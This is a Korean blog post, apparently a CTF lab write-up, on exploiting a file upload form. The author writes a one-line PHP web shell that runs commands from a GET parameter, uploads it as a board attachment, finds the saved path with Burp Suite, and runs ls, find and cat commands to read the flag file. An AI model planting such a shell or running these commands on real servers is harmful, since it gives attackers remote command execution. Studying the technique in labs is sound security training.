파일 업로드를 위한 간단한 웹 쉘 파일을 하나 생성하자
메모장을 켜서 다음 코드를 작성해줍니다
<?php echo system($_GET['cmd']); ?>
작성 후 php 파일을 만들어주기 위해 다른 이름으로 저장을 눌러준다.
모든 파일로 바꿔주고 인코딩 방식은 UTF-8 로 해줍니다.
이제 webshell.php 파일이 완성되었습니다.
자 이제 간단한 webshell을 저장했으니
풀 CTF 페이지로 가봅니다.
로그인을 해주고 게시판으로 가줍니다.
전에 연습용으로 적었던 글이 있는데 저건 아닙니다.
글쓰기를 눌러줍니다.
제목과 내용 그리고 파일을 첨부할 수 있는 칸이 구현되어 있습니다.
이렇게 쓰고 올려줍니다.
글 작성에 성공했습니다
Burp Suite로 대략적인 HTTP History를 살펴봤는데 업로드시킨 위치 정보를 찾을 수가 없었습니다.
그래서 다운로드를 한번 받아봤습니다.
다운로드를 받고 히스토리를 분석했더니 저장위치를 파악했습니다.
해당 위치로 get 방식을 통해 리눅스 ls 명령어를 주었더니 웹 쉘이 실행되었습니다
이제 Burp Suite에서 작업하는 게 더 편할 것 같으니 해당 창을 열고 Repeater로 보내줍니다,
Repeater로 보낸 후 find 명령어로 flag.txt 를 찾아보고자 하였다.
cmd=find / -name "flag*"
URL의 끝에 get방식으로 다음과 같은 명령을 날린다면 서버의 전체 디렉토리 ( / ) 에서 flag라는 이름이 붙은
파일을 모조리 찾아낼 수 있다. 이때 슬래시가 아닌 . 을 사용한다면 해당 디렉토리 포함 하위 디렉토리에서만
찾아주고 슬래시를 사용하면 상위 디렉토리까지 모조리 찾을 수 있다.
find로 나온 결과에서 /app/이하의 위치를 찾아냈다.
cat 명령으로 해당 위치의 파일을 불러오면 Response로 해당 flag가 뜹니다.
'해킹 > 해킹 기법' 카테고리의 다른 글
해킹 기법 - Metasploit (0) | 2023.06.06 |
---|---|
File Upload CTF 풀이 #2 (0) | 2023.06.05 |
[File Upload 공격 정리] 내가 만든 웹사이트를 웹 쉘로 장악하기 (0) | 2023.06.02 |
해킹 기법 - Hash Cracking (0) | 2023.05.30 |
CSRF CTF 문제풀이 #1 (0) | 2023.05.21 |